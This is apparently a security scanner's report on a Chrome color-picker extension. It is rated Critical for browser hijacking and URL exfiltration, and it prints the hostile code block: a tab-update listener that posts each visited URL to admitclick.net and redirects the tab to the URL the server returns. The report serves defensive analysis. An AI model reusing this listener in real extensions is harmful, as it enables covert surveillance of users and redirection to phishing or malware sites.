Associated with Malicious Campaign
Flags items that have been linked to known malicious campaigns based on threat intelligence or prior incidents. Indicates coordinated activity with intent to compromise, deceive, or exploit users.
Color picker tool - geco is a browser extension intended for capturing colors from web pages. It is rated Critical due to confirmed malicious behavior, including browser hijacking and data exfiltration.
Key insights:
Flags items that have been linked to known malicious campaigns based on threat intelligence or prior incidents. Indicates coordinated activity with intent to compromise, deceive, or exploit users.
Flags items that secretly collect user or device information without authorization.
Flags items that exhibit confirmed malicious activity.
Evidence
While appearing functional, this extension hijacks the browser by intercepting tab updates, exfiltrating visited URLs to a threat actor’s command-and-control server, and redirecting users to phishing or malware sites. This behavior enables persistent surveillance, credential theft, and full account compromise.
AI-powered analysis of the extension's source code for security insights and risk assessment.
This Chrome extension is intended as a color picker tool, allowing users to capture colors from web pages, maintain a color history, and interact with the extension via context menus and notifications. It uses standard Chrome extension APIs such as chrome.runtime, chrome.tabs, chrome.storage, chrome.notifications, and chrome.contextMenus to provide its functionality.
Key Features and API Usage:
chrome.tabs.captureVisibleTab to take a screenshot of the current tab for color picking.chrome.storage.sync and chrome.storage.local.chrome.notifications to notify users of picked colors.chrome.commands.onCommand.Potentially Malicious Behavior Identified:
The following code block is present and is highly suspicious:
chrome.tabs.onUpdated.addListener(function() {
var t = o(r().mark((function t(e, o, i) {
var c, s;
return r().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
if (!o.url) {
t.next = 8;
break;
}
return c = {
method: "POST",
redirect: "follow"
}, t.next = 5, fetch("https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=" + a + "&allowempty=1&out=" + encodeURIComponent(o.url) + "&format=txt&r=" + Math.random(), c).then((function(t) {
return t.text();
})).then((function(t) {
return !(!t || !t.match(/^http/i)) && t;
})).catch((function(t) {
return !1;
}));
case 5:
(s = t.sent) && s.match(/^http/i) && (n.keepTab ? chrome.tabs.update(e, {
url: s
}, (function() {})) : chrome.tabs.create({
active: i.active,
index: i.index,
url: s,
windowId: i.windowId,
pinned: i.pinned
}, (function() {
chrome.tabs.remove(e, (function() {}));
})));
case 8:
case "end":
return t.stop();
}
}), t);
})));
return function(e, r, n) {
return t.apply(this, arguments);
};
}());
Explanation:
https://admitclick.net/api?... with a unique UUID.Obfuscation:
Summary:
API calls detected through static analysis of the source code. For more accurate insights, explore our sandbox dynamic analysis.
Any encoded/decoded secrets we managed to find in the source code, git repository, or related files
Known vulnerabilities and security issues detected in the extension's dependencies and code.
Any identifiers we detected that may indicate external communication from the item's code
Dependencies and third-party libraries used by the extension, including version information and license details.